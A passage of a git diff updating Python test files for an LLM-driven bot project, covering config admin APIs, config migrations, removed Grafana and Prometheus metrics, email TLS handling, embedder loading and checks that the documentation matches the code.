bot = SimpleNamespace( + config=config(llm_provider={"model": "gpt-6-luna"}, + openai_codex={"reasoning_effort": "none"}), llm_gateway=gateway, + ) + routes = web.RouteTableDef() + register_llm_provider(routes, bot) + handler = next(row.handler for row in routes if row.path == route) + response = await handler(SimpleNamespace(json=AsyncMock(return_value={ + "model": "gpt-6.1-sol", "provider": "codex" + }))) + assert response.status == 400 + gateway.switch_provider.assert_not_awaited() + + +@pytest.mark.asyncio +async def test_592_generic_mapping_tombstone_reaches_disk_and_runtime(tmp_path, monkeypatch): + from src.config.schema import set_active_config_path + from src.web.api.config_admin import register_discord_config + from tests.test_web_api_config_admin import _bot + monkeypatch.setenv("FIXTURE_TIMEOUT", "900") + path = tmp_path / "config.yml" + path.write_text( + "discord: {token: fixture}\ntools:\n tool_timeouts:\n" + " run_command: ${FIXTURE_TIMEOUT}\n remove_me: 10\n external_edit: 77\n" + ) + set_active_config_path(path) + bot = _bot() + bot.health_server = None + bot.config = config(tools={"tool_timeouts": {"run_command": 900, "remove_me": 10}}) + routes = web.RouteTableDef() + register_discord_config(routes, bot) + handler = next( + row.handler for row in routes if row.method == "PUT" and row.path == "/api/config" + ) + request = MagicMock() + request.json = AsyncMock(return_value={ + "tools": {"tool_timeouts": {"fetch_url": 40, "remove_me": {"$delete": True}}} + }) + response = await handler(request) + assert response.status == 200, response.text + assert bot.config.tools.tool_timeouts == {"run_command": 900, "fetch_url": 40} + assert "${FIXTURE_TIMEOUT}" in path.read_text() + assert yaml.safe_load(path.read_text())["tools"]["tool_timeouts"]["external_edit"] == 77 + assert "remove_me" not in path.read_text() + + +@pytest.mark.asyncio +@pytest.mark.parametrize("body", [ + {"tools": {"tool_timeouts": {"fetch_url": 0}}}, + {"sessions": {"archive_max_files": -1}}, + {"llm_provider": {"model": "gpt-6.1-sol"}, "openai_codex": {"reasoning_effort": "none"}}, +]) +async def test_460_593_594_generic_save_rejects_before_write(monkeypatch, body): + from src.web.api.config_admin import register_discord_config + from tests.test_web_api_config_admin import _bot + bot = _bot() + bot.health_server = None + write = AsyncMock() + monkeypatch.setattr("src.web.api.config_admin.persist_config_paths_locked", write) + routes = web.RouteTableDef() + register_discord_config(routes, bot) + handler = next( + row.handler for row in routes if row.method == "PUT" and row.path == "/api/config" + ) + request = MagicMock() + request.json = AsyncMock(return_value=body) + response = await handler(request) + assert response.status == 400, response.text + write.assert_not_awaited() diff --git a/tests/test_config_ceiling_migration.py b/tests/test_config_ceiling_migration.py index 6ae829a2d..d6a05a829 100644 --- a/tests/test_config_ceiling_migration.py +++ b/tests/test_config_ceiling_migration.py @@ -201,12 +201,12 @@ def test_rewrite_failure_is_this_boot_only_and_retries(self, tmp_path, caplog, m config_path.write_text(_LEGACY_YAML) import src.config.persistence as persistence - real_patch = persistence.patch_config_paths + real_patch = persistence._patch_config_paths def fail_patch(*args, **kwargs): raise OSError("config rewrite blocked") - monkeypatch.setattr(persistence, "patch_config_paths", fail_patch) + monkeypatch.setattr(persistence, "_patch_config_paths", fail_patch) with caplog.at_level(logging.WARNING, logger="odin.config"): data = _migrate(config_path) # In-memory auto so behavior is consistent this boot… @@ -216,7 +216,7 @@ def fail_patch(*args, **kwargs): assert not ceiling_marker_path(config_path).exists() assert f"max_context_chars: {LEGACY_MAX_CONTEXT_CHARS}" in config_path.read_text() - monkeypatch.setattr(persistence, "patch_config_paths", real_patch) + monkeypatch.setattr(persistence, "_patch_config_paths", real_patch) data2 = _migrate(config_path) assert data2["openai_codex"]["context_compression"]["max_context_chars"] is None assert ( @@ -636,8 +636,8 @@ def fail_write(*args, **kwargs): raise OSError("marker blocked") monkeypatch.setattr(migrations, "_atomic_write_marker", fail_write) - with pytest.raises(MigrationCompletionError, match="configuration was left unchanged"): - _migrate(path) + _migrate(path) + assert path.read_text() == "discord:\n token: t\n" def test_runtime_auto_tolerates_missing_or_non_mapping_sections(self): import src.config.migrations as migrations diff --git a/tests/test_config_liveness_wiring.py b/tests/test_config_liveness_wiring.py index bdda15ac5..59a9e3692 100644 --- a/tests/test_config_liveness_wiring.py +++ b/tests/test_config_liveness_wiring.py @@ -19,9 +19,8 @@ class TestHealthServerBacklink: """``bot.health_server`` was never assigned anywhere in src/. - The bot-facing Grafana admin routes resolve their runtime through - that attribute, so the API must report the active handler and mutations - must reach the running server. + Shutdown resolves the running server through that attribute, so the + backlink must be present even when the WebUI is disabled. """ def _server(self, enabled=True): diff --git a/tests/test_config_persistence.py b/tests/test_config_persistence.py index c27737317..761ddf885 100644 --- a/tests/test_config_persistence.py +++ b/tests/test_config_persistence.py @@ -464,7 +464,7 @@ def test_without_the_schema_an_alias_is_still_dropped(self): == [] ) - def test_schema_owned_mapping_persists_canonicalized_keys_as_one_leaf(self): + def test_schema_owned_mapping_persists_only_submitted_canonicalized_entries(self): from src.config.schema import Config current = Config(discord={"token": "test"}).model_dump() @@ -484,8 +484,8 @@ def test_schema_owned_mapping_persists_canonicalized_keys_as_one_leaf(self): ) assert leaves == [ ( - ("openai_codex", "context_budget_overrides"), - {"gpt-5.6-luna": 600_000}, + ("openai_codex", "context_budget_overrides", "gpt-5.6-luna"), + 600_000, ) ] diff --git a/tests/test_config_schema_validators.py b/tests/test_config_schema_validators.py index b0834de22..66f4c06d6 100644 --- a/tests/test_config_schema_validators.py +++ b/tests/test_config_schema_validators.py @@ -120,7 +120,7 @@ def test_removed_settings_are_ignored_without_losing_neighbors( ``false`` was ignored by both runtime construction paths before removal, so dropping it now is behaviour-preserving. Pin adjacent supported values so a future ``extra=forbid`` change cannot strand an upgrade or discard - the settings that actually construct the guard and Grafana handler. + the settings that actually construct the guard. """ old_guard_bool = str(legacy_guard_enabled).lower() old_grafana_bool = str(legacy_grafana_enabled).lower() @@ -147,10 +147,7 @@ def test_removed_settings_are_ignored_without_losing_neighbors( assert not hasattr(cfg.graceful_degradation, "enabled") assert cfg.graceful_degradation.degraded_threshold == 7 assert cfg.graceful_degradation.unavailable_threshold == 19 - assert not hasattr(cfg.grafana_alerts, "enabled") - assert cfg.grafana_alerts.auto_remediate is True - assert cfg.grafana_alerts.cooldown_seconds == 612 - assert cfg.grafana_alerts.max_concurrent_remediations == 4 + assert not hasattr(cfg, "grafana_alerts") def test_real_legacy_image_shape_loads_without_rewrite_or_false_typo_warning( self, tmp_path, caplog @@ -199,6 +196,24 @@ def test_real_legacy_image_shape_loads_without_rewrite_or_false_typo_warning( "real-checkpoint.safetensors" ) + def test_removed_grafana_section_loads_silently_without_rewrite(self, tmp_path, caplog): + text = ( + "discord:\n token: legacy\n" + "grafana_alerts:\n enabled: true\n auto_remediate: true\n" + "webhook:\n grafana_channel_id: 12345\n" + ) + path = self._write(tmp_path, text) + before = path.read_bytes() + + with caplog.at_level("WARNING"): + cfg = load_config(path) + + assert cfg.discord.token == "legacy" + assert not hasattr(cfg, "grafana_alerts") + assert not hasattr(cfg.webhook, "grafana_channel_id") + assert path.read_bytes() == before + assert "grafana_alerts" not in " ".join(record.getMessage() for record in caplog.records) + def test_real_legacy_slack_section_loads_silently(self, tmp_path, caplog): """Removed Slack settings stay silently inert for existing installs.""" text = ( diff --git a/tests/test_connection_pools.py b/tests/test_connection_pools.py index 9934f1414..9cf913ea6 100644 --- a/tests/test_connection_pools.py +++ b/tests/test_connection_pools.py @@ -1,7 +1,7 @@ """Tests for SSH connection pooling and aiohttp keepalive pool (Round 9). Tests the SSHConnectionPool (ControlMaster multiplexing), config models, -executor integration, CodexChatClient pool config, Prometheus metrics, +executor integration, CodexChatClient pool config, pool metrics, and REST API endpoints. """ @@ -313,7 +313,7 @@ async def test_close_host_success_removes_connection(self): # --------------------------------------------------------------------------- -# SSHConnectionPool.get_metrics / get_prometheus_metrics +# SSHConnectionPool.get_metrics # --------------------------------------------------------------------------- class TestSSHPoolMetrics: @@ -337,23 +337,6 @@ def test_get_metrics_after_activity(self): assert m["active_connections"] == 1 assert m["total_opened"] == 1 - def test_get_prometheus_metrics_structure(self): - with tempfile.TemporaryDirectory() as td: - pool = SSHConnectionPool(socket_dir=td) - m = pool.get_prometheus_metrics() - assert "ssh_pool_active_connections" in m - assert "ssh_pool_total_opened" in m - assert "ssh_pool_total_reused" in m - - def test_get_prometheus_metrics_values(self): - with tempfile.TemporaryDirectory() as td: - pool = SSHConnectionPool(socket_dir=td) - pool._total_opened = 5 - pool._total_reused = 3 - m = pool.get_prometheus_metrics() - assert m["ssh_pool_total_opened"] == 5 - assert m["ssh_pool_total_reused"] == 3 - # --------------------------------------------------------------------------- # run_ssh_command with pool @@ -529,78 +512,6 @@ def test_metrics_tracks_requests(self): assert m["http_pool_total_requests"] == 42 -# --------------------------------------------------------------------------- -# Prometheus metrics rendering -# --------------------------------------------------------------------------- - -class TestSSHPoolPrometheusMetrics: - def test_rendered(self): - from src.health.metrics import MetricsCollector - mc = MetricsCollector() - - def source(): - return { - "ssh_pool_active_connections": 3, - "ssh_pool_total_opened": 10, - "ssh_pool_total_reused": 7, - } - - mc.register_source("ssh_pool", source) - output = mc.render() - assert "odin_ssh_pool_active_connections" in output - assert "odin_ssh_pool_total_opened" in output - assert "odin_ssh_pool_total_reused" in output - - def test_absent(self): - from src.health.metrics import MetricsCollector - mc = MetricsCollector() - output = mc.render() - assert "odin_ssh_pool" not in output - - def test_empty_values(self): - from src.health.metrics import MetricsCollector - mc = MetricsCollector() - mc.register_source("ssh_pool", lambda: { - "ssh_pool_active_connections": 0, - "ssh_pool_total_opened": 0, - "ssh_pool_total_reused": 0, - }) - output = mc.render() - assert "odin_ssh_pool_active_connections 0" in output - - -class TestHTTPPoolPrometheusMetrics: - def test_rendered(self): - from src.health.metrics import MetricsCollector - mc = MetricsCollector() - mc.register_source("http_pool", lambda: { - "http_pool_active_connections": 2, - "http_pool_max_connections": 10, - "http_pool_total_requests": 50, - }) - output = mc.render() - assert "odin_http_pool_active_connections" in output - assert "odin_http_pool_max_connections" in output - assert "odin_http_pool_total_requests" in output - - def test_absent(self): - from src.health.metrics import MetricsCollector - mc = MetricsCollector() - output = mc.render() - assert "odin_http_pool" not in output - - def test_counter_type(self): - from src.health.metrics import MetricsCollector - mc = MetricsCollector() - mc.register_source("http_pool", lambda: { - "http_pool_active_connections": 0, - "http_pool_max_connections": 10, - "http_pool_total_requests": 100, - }) - output = mc.render() - assert "# TYPE odin_http_pool_total_requests counter" in output - - # --------------------------------------------------------------------------- # REST API endpoints # --------------------------------------------------------------------------- diff --git a/tests/test_context_compressor.py b/tests/test_context_compressor.py index 9162eb7ca..d40c8389f 100644 --- a/tests/test_context_compressor.py +++ b/tests/test_context_compressor.py @@ -758,6 +758,7 @@ def test_as_dict_keys(self): assert set(d.keys()) == { "compressions", "iterations_compressed", "chars_saved", "prefix_hits", "prefix_misses", "total_checks", "prefix_hit_rate", + "prefix_measurement", "upstream_cache_measured", } def test_live_stats_sink_tracks_real_compression(self): @@ -794,7 +795,9 @@ def test_live_stats_sink_tracks_real_compression(self): def test_hit_rate_zero_when_no_checks(self): s = CompressionStats() - assert s.as_dict()["prefix_hit_rate"] == 0.0 + assert s.as_dict()["prefix_hit_rate"] is None + assert s.as_dict()["prefix_measurement"] == "unmeasured" + assert s.as_dict()["upstream_cache_measured"] is False def test_hit_rate_calculated(self): s = CompressionStats(prefix_hits=3, total_checks=10) diff --git a/tests/test_cost_tracker.py b/tests/test_cost_tracker.py index 538e9c8fb..ccea01b77 100644 --- a/tests/test_cost_tracker.py +++ b/tests/test_cost_tracker.py @@ -1,13 +1,8 @@ -"""Tests for LLM cost tracking — CostTracker, token estimation, Prometheus metrics, API.""" +"""Tests for LLM cost tracking and token estimation.""" from __future__ import annotations import time -from aiohttp.test_utils import TestClient, TestServer - -from src.config.schema import WebhookConfig -from src.health.metrics import MetricsCollector -from src.health.server import HealthServer from src.llm.cost_tracker import CostTracker, UsageRecord, estimate_tokens # --------------------------------------------------------------------------- @@ -166,101 +161,6 @@ def test_summary_empty(self): assert summary["by_user"] == {} -# --------------------------------------------------------------------------- -# CostTracker.get_prometheus_metrics -# --------------------------------------------------------------------------- - -class TestCostTrackerPrometheus: - def test_prometheus_metrics_structure(self): - tracker = CostTracker() - tracker.record(100, 50, user_id="u1", channel_id="c1") - pm = tracker.get_prometheus_metrics() - assert pm["total_input_tokens"] == 100 - assert pm["total_output_tokens"] == 50 - assert pm["total_requests"] == 1 - assert "u1" in pm["by_user"] - assert "c1" in pm["by_channel"] - - def test_prometheus_metrics_empty(self): - tracker = CostTracker() - pm = tracker.get_prometheus_metrics() - assert pm["total_requests"] == 0 - assert pm["by_user"] == {} - - -# --------------------------------------------------------------------------- -# MetricsCollector integration -# --------------------------------------------------------------------------- - -class TestCostMetricsInCollector: - def test_cost_metrics_rendered(self): - mc = MetricsCollector() - tracker = CostTracker() - tracker.record(500, 200, user_id="alice", channel_id="general") - mc.register_source("cost_tracker", tracker.get_prometheus_metrics) - output = mc.render() - assert "odin_llm_input_tokens_total" in output - assert "odin_llm_output_tokens_total" in output - assert "odin_llm_cost_usd_total" in output - assert "odin_llm_requests_total" in output - assert 'odin_llm_user_cost_usd{user="alice"}' in output - assert 'odin_llm_channel_cost_usd{channel="general"}' in output - - def test_cost_metrics_not_rendered_when_no_source(self): - mc = MetricsCollector() - output = mc.render() - assert "odin_llm_input_tokens_total" not in output - - def test_cost_metrics_empty_tracker(self): - mc = MetricsCollector() - tracker = CostTracker() - mc.register_source("cost_tracker", tracker.get_prometheus_metrics) - output = mc.render() - assert "odin_llm_requests_total 0" in output - - def test_cost_metrics_no_user_labels_when_empty(self): - mc = MetricsCollector() - tracker = CostTracker() - mc.register_source("cost_tracker", tracker.get_prometheus_metrics) - output = mc.render() - assert "odin_llm_user_cost_usd" not in output - - def test_cost_source_error_does_not_crash(self): - mc = MetricsCollector() - mc.register_source("cost_tracker", lambda: (_ for _ in ()).throw(RuntimeError("boom"))) - output = mc.render() - assert "odin_up" in output - assert "odin_llm_input_tokens_total" not in output - - -# --------------------------------------------------------------------------- -# /metrics HTTP endpoint with cost data -# --------------------------------------------------------------------------- - -def _make_server(*, ready: bool = True) -> HealthServer: - cfg = WebhookConfig(enabled=False) - server = HealthServer(port=0, webhook_config=cfg) - if ready: - server.set_ready(True) - return server - - -class TestCostMetricsEndpoint: - async def test_cost_metrics_in_endpoint(self): - server = _make_server(ready=True) - tracker = CostTracker() - tracker.record(1000, 500, user_id="test_user", channel_id="test_chan") - server.metrics.register_source("cost_tracker", tracker.get_prometheus_metrics) - async with TestClient(TestServer(server._app)) as client: - resp = await client.get("/metrics") - text = await resp.text() - assert "odin_llm_input_tokens_total 1000" in text - assert "odin_llm_output_tokens_total 500" in text - assert "odin_llm_requests_total 1" in text - assert 'odin_llm_user_cost_usd{user="test_user"}' in text - assert 'odin_llm_channel_cost_usd{channel="test_chan"}' in text - - # --------------------------------------------------------------------------- # LLMResponse token fields # --------------------------------------------------------------------------- diff --git a/tests/test_delivery_empty_fields.py b/tests/test_delivery_empty_fields.py index bd67e34ad..53e2963d7 100644 --- a/tests/test_delivery_empty_fields.py +++ b/tests/test_delivery_empty_fields.py @@ -139,9 +139,13 @@ async def test_empty_process_fields_do_not_change_mutation_or_authorization( ): ex = executor(tmp_path) stdin = SimpleNamespace(write=Mock(), drain=AsyncMock()) - process = SimpleNamespace(stdin=stdin, returncode=None) + process = SimpleNamespace(pid=101, stdin=stdin, returncode=0) terminate = AsyncMock() monkeypatch.setattr("src.tools.ssh.terminate_process_tree", terminate) + # The cleanup boundary is deliberately faked: this test exercises argument + # normalization and authorization, not OS process-group termination. + cleanup = AsyncMock(return_value=True) + monkeypatch.setattr(ProcessRegistry, "_kill_group_until_gone", cleanup) with execution_delivery_scope("owner", "mutation-fixture"): reg = ex._ensure_process_registry() from src.tools.output_authorization import host_binding @@ -172,6 +176,8 @@ async def test_empty_process_fields_do_not_change_mutation_or_authorization( assert result.output == "Process 101 killed." terminate.assert_awaited_once_with(process, grace=5.0) assert info.status == "killed" + assert info.session_confirmed_empty is True + cleanup.assert_awaited_once_with(reg._processes[info.pid]) stdin.write.assert_not_called() diff --git a/tests/test_docs_campaign_contracts.py b/tests/test_docs_campaign_contracts.py new file mode 100644 index 000000000..e52ed9f43 --- /dev/null +++ b/tests/test_docs_campaign_contracts.py @@ -0,0 +1,114 @@ +"""Regression checks for current operator-facing documentation claims.""" + +from pathlib import Path + +ROOT = Path(__file__).resolve().parents[1] + + +def test_route_inventory_claim_is_registry_backed_not_a_stale_literal(): + readme = (ROOT / "README.md").read_text() + parity = (ROOT / "tests/characterization/test_api_route_parity.py").read_text() + assert "211 REST routes" not in readme + assert "231" in parity and "authoritative route characterization test" in readme + + +def test_static_tools_and_packaged_handoffs_use_authoritative_inventory_contracts(): + from src.tools.registry import TOOLS + + package = (ROOT / "packaging/nfpm.yml").read_text() + readme = (ROOT / "README.md").read_text() + static_names = {tool["name"] for tool in TOOLS} + core_names = {tool["name"] for tool in TOOLS if tool.get("is_core")} + import yaml + + package_config = yaml.safe_load(package) + shipped_handoffs = { + Path(row["dst"]).name for row in package_config["contents"] + if row.get("dst", "").startswith("/usr/share/doc/odin/computer-use/") + } + assert static_names and core_names and shipped_handoffs + assert "registers 67 built-in tools" not in readme + assert "dynamic" in readme.lower() and "static built-in tool catalog" in readme + assert "operator handoffs listed in `packaging/nfpm.yml` ship in the package" in readme + # Keep these values computed from the runtime/package definitions rather + # than copying guessed totals into overview prose. + assert len(static_names) == len(TOOLS) + assert len(shipped_handoffs) > 0 + + +def test_retired_model_documentation_matches_migration_and_successor(): + from src.config.model_defaults import RETIRED_MODEL_SUCCESSOR + + guide = (ROOT / "docs/configuration.md").read_text() + assert RETIRED_MODEL_SUCCESSOR == "gpt-6-sol" + assert ( + "explicit main, fixed-agent, and auxiliary selections migrate in memory to\n`gpt-6-sol`" + ) in guide + assert "`gpt-5.6-terra`, with a warning. Existing effort selections are preserved." not in guide + + +def test_documented_codex_effort_limits_match_authoritative_defaults(): + from src.config.schema import CODEX_MODEL_INPUT_BUDGETS, CODEX_MODEL_UNSUPPORTED_EFFORTS + + guide = (ROOT / "docs/configuration.md").read_text() + assert "none" in CODEX_MODEL_UNSUPPORTED_EFFORTS["gpt-6.1-sol"] + assert CODEX_MODEL_INPUT_BUDGETS["gpt-6.1-sol"] == 921_849 + assert "GPT-6.1 Sol accepts `low`, `medium`, `high`," in guide + assert "921,849 tokens" in guide + + +def test_websocket_auth_docs_describe_supported_carriers_and_reject_query_tokens(): + from src.web.websocket import BEARER_SUBPROTOCOL_PREFIX + + guide = (ROOT / "docs/security.md").read_text() + handler = (ROOT / "src/web/websocket.py").read_text() + assert BEARER_SUBPROTOCOL_PREFIX == "odin.bearer." + assert "Authorization:" in guide and "Bearer " in guide + assert "odin.bearer." in guide + assert "`/api/ws?token=...` is explicitly rejected (close" in guide + assert "token in URL is not accepted" in handler + + +def test_setup_restart_docs_distinguish_update_from_wizard(): + guide = (ROOT / "docs/configuration.md").read_text() + onboarding = (ROOT / "src/web/onboarding.py").read_text() + assert "does not schedule\nor perform that re-exec" in guide + assert "restart_required" in onboarding + + +def test_hyprland_operator_guide_covers_bounded_managed_first_use(): + guide = (ROOT / "docs/computer-use/HYPRLAND-OPERATOR-R32.md").read_text() + assert "first inventory or session start may discover" in guide + assert "managed activation may load the approved" in guide + assert "Neither\nsession start nor turn dispatch discovers an ambient target" not in guide + + +def test_provider_overview_includes_generic_compatible_lane(): + from src.config.schema import OpenAICompatibleConfig + + readme = (ROOT / "README.md").read_text() + guide = (ROOT / "docs/configuration.md").read_text() + assert OpenAICompatibleConfig is not None + assert "OpenAI-compatible endpoints" in readme + for name in ("DeepSeek", "OpenRouter", "vLLM", "llama.cpp", "LM Studio"): + assert name in guide + assert "Kimi is also available through this compatible lane" in readme + + +def test_tool_iteration_explanation_distinguishes_batch_and_cycle_budget(): + guide = (ROOT / "docs/configuration.md").read_text() + loop = (ROOT / "src/discord/tool_loop.py").read_text() + assert "not individual tool calls" in guide + assert "per autonomous loop cycle" in guide + assert "start_loop.max_iterations" in guide + assert "max_tool_iterations_loop" in loop and "loop_cap" in loop + + +def test_docs_do_not_claim_removed_native_grafana_or_prometheus_features(): + readme = (ROOT / "README.md").read_text().lower() + scheduling = (ROOT / "docs/scheduling.md").read_text().lower() + assert "/metrics" not in readme + assert "grafana alerts" not in readme + assert "/webhook/grafana" not in scheduling + assert "grafana remediation" not in scheduling + diff --git a/tests/test_docs_live_inventory.py b/tests/test_docs_live_inventory.py new file mode 100644 index 000000000..60f883398 --- /dev/null +++ b/tests/test_docs_live_inventory.py @@ -0,0 +1,58 @@ +"""Overview documentation must defer inventories to their real sources.""" + +from pathlib import Path + +import yaml + +ROOT = Path(__file__).resolve().parents[1] + + +def test_overview_links_to_generated_catalog_and_api_inventory(): + from scripts.docs.generate_api_reference import collect_rest_routes + from scripts.docs.generate_api_reference import render as render_api_reference + from scripts.docs.generate_tool_reference import generate as generate_tool_reference + from src.tools.registry import TOOLS + + index = (ROOT / "docs/index.md").read_text(encoding="utf-8") + readme = (ROOT / "README.md").read_text(encoding="utf-8") + tools_reference = (ROOT / "docs/reference/tools.md").read_text(encoding="utf-8") + api_reference = (ROOT / "docs/reference/api.md").read_text(encoding="utf-8") + + assert "Generated from the built-in tool registry" in index + assert "/reference/tools" in index + assert "Generated from shipped route registrations" in index + assert "/reference/api" in index + assert "Regression-tested against the code" in index + assert "Regression tests exercise" in readme + assert "11,712" not in index + readme + assert "346 files" not in index + readme + assert "211 REST routes" not in index + readme + assert "74" not in index + assert "23 core" not in index + + # Compare to live generators, not pinned totals: registry and route changes + # update the authoritative inventory without requiring prose edits. + generated_tools = generate_tool_reference() + generated_api = render_api_reference() + assert generated_tools.startswith("# Built-in tool reference\n") + assert f"**{len(TOOLS)} built-in tools**" in generated_tools + route_count = len(collect_rest_routes()) + assert f"The **{route_count} REST registrations** below" in generated_api + assert "# Built-in tool reference" in tools_reference + assert "# API reference" in api_reference + + +def test_computer_use_handoff_description_matches_package_manifest(): + guide = (ROOT / "docs/computer-use/README.md").read_text(encoding="utf-8") + package = yaml.safe_load((ROOT / "packaging/nfpm.yml").read_text(encoding="utf-8")) + handoffs = { + Path(row["dst"]).name + for row in package["contents"] + if row.get("dst", "").startswith("/usr/share/doc/odin/computer-use/") + } + + assert handoffs == {"OPERATOR.md", "PACKAGING.md", "RECOVERY.md", "HYPRLAND-OPERATOR-R32.md"} + for name in handoffs: + assert f"[{name}]({name})" in guide + assert (ROOT / "docs/computer-use" / name).is_file() + assert "These three files" not in guide diff --git a/tests/test_documented_tool_contracts.py b/tests/test_documented_tool_contracts.py index f1e8f5a46..fd07a2004 100644 --- a/tests/test_documented_tool_contracts.py +++ b/tests/test_documented_tool_contracts.py @@ -29,6 +29,9 @@ def test_installed_cli_default_matches_config(monkeypatch): def test_documented_counts_match_registry(): count = len(TOOLS) core = sum(bool(t.get("is_core")) for t in TOOLS) - assert f"{count} built-in tools, {core} of them core tools" in (ROOT / "README.md").read_text() - for path in ("packaging/nfpm.yml", "docs/security.md", "docs/configuration.md"): - assert f"{count} built-in tools" in (ROOT / path).read_text() + reference = (ROOT / "docs/reference/tools.md").read_text() + assert str(count) in reference and str(core) in reference + assert "static built-in tool catalog" in (ROOT / "README.md").read_text() + assert f"{count} built-in tools" in (ROOT / "packaging/nfpm.yml").read_text() + for path in ("docs/security.md", "docs/configuration.md"): + assert "built-in tool" in (ROOT / path).read_text() diff --git a/tests/test_email_campaign.py b/tests/test_email_campaign.py new file mode 100644 index 000000000..27b086b84 --- /dev/null +++ b/tests/test_email_campaign.py @@ -0,0 +1,75 @@ +"""Mail acceptance and TLS regressions, without opening sockets.""" +import smtplib +import ssl +from unittest.mock import MagicMock, patch + +import pytest + +from src.config.schema import EmailConfig +from src.tools import email_client as ec +from src.tools.executor import ToolExecutor + + +@pytest.mark.parametrize("verify", [True, False]) +@pytest.mark.parametrize("action,extra", [ + (ec.search_email, {"query": "ALL"}), + (ec.read_email, {"uid": "1"}), + (ec.list_recent, {}), +]) +def test_all_imap_paths_receive_explicit_tls_context(verify, action, extra): + conn = MagicMock() + conn.uid.return_value = ("OK", [b""]) + with patch.object(ec.imaplib, "IMAP4_SSL", return_value=conn) as ctor: + try: + action(imap_host="mail.example", imap_port=993, username="test", + password="dummy", tls_verify=verify, **extra) + except ValueError: # empty FETCH is expected for read + pass + context = ctor.call_args.kwargs["ssl_context"] + assert context.check_hostname is verify + assert context.verify_mode == (ssl.CERT_REQUIRED if verify else ssl.CERT_NONE) + + +@pytest.mark.parametrize("verify", [True, False]) +def test_smtp_context_and_real_stdlib_quit_failure_preserve_acceptance(verify): + server = smtplib.SMTP() # no host: no socket, real __enter__/__exit__ + server.starttls = MagicMock() + server.login = MagicMock() + server.sendmail = MagicMock(return_value={}) + server.docmd = MagicMock(return_value=(421, b"closing")) + server.close = MagicMock() + with patch.object(ec.smtplib, "SMTP", return_value=server): + result = ec.send_email(smtp_host="mail.example", smtp_port=587, + username="test", password="dummy", from_address="a@example", + to=["b@example"], subject="subject", body="body", tls_verify=verify) + context = server.starttls.call_args.kwargs["context"] + assert context.check_hostname is verify + assert context.verify_mode == (ssl.CERT_REQUIRED if verify else ssl.CERT_NONE) + assert result["status"] == "sent" + assert result["accepted_count"] == 1 + assert "after acceptance" in result["cleanup_warning"] + server.sendmail.assert_called_once() + + +def test_config_tls_secure_default_and_explicit_opt_out(): + assert EmailConfig().tls_verify + assert not EmailConfig(tls_verify=False).tls_verify + + +@pytest.mark.parametrize("handler,query", [ + ("_handle_email_search", {"query": "ALL"}), + ("_handle_email_list_recent", {}), +]) +@pytest.mark.parametrize("status", ["OK", "NO", "BAD"]) +async def test_real_handlers_distinguish_failed_search_from_verified_empty(handler, query, status): + conn = MagicMock() + conn.uid.return_value = (status, [b""]) + executor = ToolExecutor(email_config=EmailConfig(enabled=True)) + with patch.object(ec.imaplib, "IMAP4_SSL", return_value=conn): + result = await getattr(executor.comms_tools, handler)(query) + if status == "OK": + assert result.startswith("No messages found") + else: + assert result.startswith("Error: IMAP") + assert f"SEARCH returned {status}" in result + conn.logout.assert_called_once() diff --git a/tests/test_email_client_paths.py b/tests/test_email_client_paths.py index c5ae54d46..3c7fd73fb 100644 --- a/tests/test_email_client_paths.py +++ b/tests/test_email_client_paths.py @@ -160,9 +160,10 @@ def test_gmail_uses_xgmraw(self): username="u", password="p", query='is:unread') assert any("X-GM-RAW" in str(c.args) for c in spy.call_args_list) - def test_non_ok_search_returns_empty(self): + def test_non_ok_search_raises(self): with _imap_patch(_FakeIMAP(search=("NO", [b""]))): - assert ec.search_email(imap_host="imap.example.com", imap_port=993, + with pytest.raises(RuntimeError, match="SEARCH returned NO"): + ec.search_email(imap_host="imap.example.com", imap_port=993, username="u", password="p", query="x") == [] def test_connect_failure_raises_redacted(self): @@ -205,9 +206,10 @@ def test_lists_with_flags_and_size(self): assert out[0]["size_bytes"] == 2048 assert out[0]["flags"] == ["\\Seen"] - def test_non_ok_returns_empty(self): + def test_non_ok_raises(self): with _imap_patch(_FakeIMAP(search=("NO", [b""]))): - assert ec.list_recent(imap_host="imap.example.com", imap_port=993, + with pytest.raises(RuntimeError, match="SEARCH returned NO"): + ec.list_recent(imap_host="imap.example.com", imap_port=993, username="u", password="p") == [] def test_connect_failure_raises(self): @@ -228,8 +230,8 @@ def __enter__(self): def __exit__(self, *exc): return False - def starttls(self): - pass + def starttls(self, *, context=None): + self.tls_context = context def login(self, user, password): pass diff --git a/tests/test_embedder_loading.py b/tests/test_embedder_loading.py new file mode 100644 index 000000000..a1f5bd0f8 --- /dev/null +++ b/tests/test_embedder_loading.py @@ -0,0 +1,67 @@ +"""Cold embedding load stays off-loop and single-flight, including cancellation.""" +import asyncio +import sys +import threading +from types import SimpleNamespace + +import pytest + +from src.search.embedder import LocalEmbedder + + +@pytest.mark.asyncio +async def test_cold_load_single_flight_and_cancelled_waiter(monkeypatch): + started = threading.Event() + release = threading.Event() + loads = [] + + class Model: + def __init__(self, name): + loads.append(name) + started.set() + assert release.wait(3) + + def embed(self, texts): + return [SimpleNamespace(tolist=lambda: [0.5] * 384) for _ in texts] + + monkeypatch.setitem(sys.modules, "fastembed", SimpleNamespace(TextEmbedding=Model)) + embedder = LocalEmbedder() + first = asyncio.create_task(embedder.embed("first")) + try: + for _ in range(100): + if started.is_set(): + break + await asyncio.sleep(0.005) + assert started.is_set() + second = asyncio.create_task(embedder.embed("second")) + first.cancel() + with pytest.raises(asyncio.CancelledError): + await first + await asyncio.sleep(0.02) + assert not second.done() + assert len(loads) == 1 + finally: + release.set() + assert await second == [0.5] * 384 + assert await embedder.embed("warm") == [0.5] * 384 + assert loads == [LocalEmbedder.MODEL] + + +@pytest.mark.asyncio +async def test_failed_load_can_be_retried(monkeypatch): + attempts = [] + + class Model: + def __init__(self, name): + attempts.append(name) + if len(attempts) == 1: + raise RuntimeError("download failed") + + def embed(self, texts): + return [SimpleNamespace(tolist=lambda: [1.0])] + + monkeypatch.setitem(sys.modules, "fastembed", SimpleNamespace(TextEmbedding=Model)) + embedder = LocalEmbedder() + assert await embedder.embed("first") is None + assert await embedder.embed("retry") == [1.0] + assert len(attempts) == 2 diff --git a/tests/test_execute_api.py b/tests/test_execute_api.py index 258df56a5..3d6bb2aef 100644 --- a/tests/test_execute_api.py +++ b/tests/test_execute_api.py @@ -1,64 +1,45 @@ """Tests for the /api/execute stateless endpoint and CLI script. -Uses a standalone aiohttp app that mirrors the real handler logic from -src/web/api.py. This avoids bootstrapping a full OdinBot but means -changes to the production handler must be reflected here. +Uses the real route registrar with a fake bot and provider boundary. """ from __future__ import annotations -import uuid from unittest.mock import AsyncMock, MagicMock, patch import pytest from aiohttp import web from aiohttp.test_utils import TestClient, 